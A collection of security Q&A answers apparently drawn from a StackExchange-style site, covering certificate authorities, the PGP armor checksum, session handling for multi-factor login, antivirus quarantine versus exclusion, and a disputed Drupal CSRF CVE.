Verisign is a certificate authority. Its role is to ascertain that the public key is really Facebook's. Facebook obtained this certificate by proving that they had access to the private key and showing some kind of proof of identity to Verisign.

Your browser or your operating system is preloaded with a short (a couple of hundreds) list of certificate authorities. It trusts these authorities to verify the identity of websites. Your browser could not realistically be preloaded with the ever-changing millions-strong list of websites. Nor would it be feasible to verify out of bands (how, anyway?) the identity of each and every website you access over HTTPS.

Certificate authorities are one of the ways to set up a public key infrastructure. There are a few parties (the CAs) that everybody knows; you get to know other people because CAs have given them identity papers. Identity papers, by the way, are a non-cryptographic form of web of trust: you trust that this guy over there is really John Smith because his government-issued passport says that he's John Smith.

The main alternative to CAs is a web of trust, where everybody knows a few other people, and you try to establish a path from yourself through who you know to who you want to talk to. It doesn't work well on the web because people typically want to access websites that they just discovered via Google, they don't want to spend a lot of time and energy verifying some mumbo-jumbo certificate.

Note that the description above represents the theory. In practice, as always, things can go wrong, especially CAs botching the verification. But most of the time — enough of the time to be useful — the CAs serve as roots of trust for website identities.

Follow-up reading: Certificate authorities for a PKI


What is the bit at the end of a PGP signature file I have a PGP signature:

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQEcBAABCAAGBQJX192XAAoJEBMxnLaYuadNVV8H/j5P9CJUnRfBGEtAXAJry35x
SXgVhx4WsC3uHZmWLaGDtzYg3sfZKgKrYLfJn7NP6vAe3PvxxIVbXw28trAneYlE
bv1ogqBO/waWecJIR+WimeTbHyKK/cEKQk+6nV8Q7/BhxE7RcbeEhbSn+JWhtjwu
UubjKr6KZvSPPD7LeA59E96fSksVypg/Em1ZMM3MzmRHKc6pKJuG2SKLUaN0hPt4
sux6ZKq+yKBz/k/iYkfbazyYK4PZgcRijb9P7Cfkoe5DD2kdMNOFgW3N9+4Zie+O
aQe23xwh5p3rb2/zHTbUU6YcTyAK8Js/xnR4Aih0Nd43tEvOOTXc1NnVe7jE4jE=
=lMwp
-----END PGP SIGNATURE-----

I can use bouncy castle to generate the first couple of lines but there is a =lMwp at the end of the signature that I don't know where to find or what it is.

Is it a checksum of some kind?

Is it a checksum of some kind?

Exactly. From RFC 4880 (OpenPGP) Section 6:

  Radix-64 Conversions
  ... OpenPGP's Radix-64 encoding is composed of two parts: a base64
  encoding of the binary data and a checksum.  The base64 encoding is
  identical to the MIME base64 content-transfer-encoding [RFC2045].
  The checksum is a 24-bit Cyclic Redundancy Check (CRC) converted to
  four characters of radix-64 encoding by the same MIME base64
  transformation, preceded by an equal sign (=) ...
  The checksum with its leading equal sign MAY appear on the first line
  after the base64 encoded data.

If you want to know how exactly the checksum is computed so you can recreate or verify it just read on in this section.


Securing a secondary login page for inputting a multi-factor auth token I would like to implement the following use case:

User lands on the login page
User submits login credentials
Credentials are validated and they are redirected to another page for inputting the multi-factor authentication token
User submits multi-factor authentication token
Token is validated and user is redirected into the application

My question is about stages 3-5 - What is the recommended method for keeping track of this user once they have entered their username/password but before they have entered their multi-factor authentication token.  In order to validate the token there needs to be a way to know which user is making the request.  There also must be a way to prevent attackers from skipping over the Username/Password part of the process.

What is the recommended way of solving this problem?

Use a Session Cookie to track users throughout the authentication process, just as you would after authentication.

Make sure that your cookie's length and complexity are sufficient to withstand brute-force and spoofing attacks.  Use the secure and httponly attributes to prevent the bad guys from capturing and using it.

Use one cookie for first-auth-through-verification, and then renew the session id after the second step, which is a Privilege Change.

This is one of those things where the problems have been plumbed and the best practices exist to prescribe what you should do - just read, understand, and follow the OWASP Session Management Cheat Sheet.


Quarantine or add exclusion for malicious items? I am having so many problems with my laptop. I have 8 malicious items detected and 4445 non malware items detected. Is it better to quarantine or add exclusion? I am not sure what add exclusion means.

Quarantine: This means that you want your anti-virus software to isolate a malicious or potentially malicious item so that it can't harm your machine.

Add Exclusion: This means that even though your anti-virus thinks an item might be malicious or potentially malicious, you know that it isn't, and so you want your anti-virus to leave it alone and ignore it in the future.  If you choose this options for items that actually are malware, you're setting them loose on your machine to infect you as designed.

The option you want to choose is quarantine.


Drupal Disputed CVE Five Year Tempest – Open Source Security Shortfall? Can someone add context to the subject issue?  At first glance it appears to me this issue represents a fundamental shortfall in the forces encouraging secure coding in open source development.  Is that the case and/or is this example common or a rare outlier?

I note that CVE-2007-6752 released on 28 March 2012 listed as an under review CSRF vulnerability has the status:

  ** DISPUTED ** Cross-site request forgery (CSRF) vulnerability in Drupal 7.12 and earlier allows remote attackers to hijack the authentication of arbitrary users for requests that end a session via the user/logout URI. NOTE: the vendor disputes the significance of this issue, by considering the "security benefit against platform complexity and performance impact" and concluding that a change to the logout behavior is not planned because "for most sites it is not worth the trade-off."

In trying to get my head around the fact that the CVE dates to 2007 I found Red Hat carries a related bug report https://bugzilla.redhat.com/show_bug.cgi?id=807859 remarking that there is no upstream fix and “Eek.  What a tempest…”  That entry shares a link to five years of bug dialog within Drupal http://drupal.org/node/144538 that suggests the Eek comment is most appropriate.

Can someone enlighten me about the thinking behind the Drupal complexity trade-off response to an apparently acknowledged CSRF vulnerability?  Is it just a simple case of “You can’t get there from here” limitation in a popular open source product?   Does it matter or is this just a trivial issue I am misreading?

As far as I can tell, this is a bogus bug report.  I think the Drupal team is 100% in the right to dismiss and contest this "bug report".  None of the alleged "vulnerabilities" seem like vulnerabilities to me.  Just claiming that something is a vulnerabilities doesn't necessarily make it so.

The reporter alleges a number of problems:

Allegation: if the attacker learns the CSRF token, he can defeat the CSRF defense.  Well, duh.  That's how CSRF tokens work.  It's not a vulnerability.  When we use CSRF tokens, we design the system to avoid revealing the token to attacker.  If the reporter found some way that an attacker could learn the CSRF token, we could discuss it, but as it is, the reporter has nothing.
Allegation: the logout method is not protected by a CSRF token, so an attacker could log an administrator out.  This claim does not appear to be contested on the facts, so I will assume it is correct.  However, there is no obvious security consequence or danger from being able to forcibly log out an administrator.  There are also other ways to forcibly log out a user, in every web application ever built, e.g., by exceeding capacity limits on the browser cookie jar.
Allegation: Drupal doesn't consistently check the referer header on all requests.  That's not a security flaw.  The Referer header should not be used for security purposes, as attackers can spoof it or force it to be omitted.  The reporter does not allege any harm that is caused by this property of Drupal.
Allegation: Drupal does not distinguish POST vs GET methods. This is probably a case of poor implementation practice, but there is no security consequence identified by the reporter, and no obvious harm.

See also the Drupal group's official response.

Basically, I think the original report should be ignored and treated as invalid, for failure to allege a valid security vulnerability.  I don't see any shortfall, fundamental or otherwise, in the security of open source.  Actually, I think it is to the Drupal team's credit how carefully they responded to the allegations.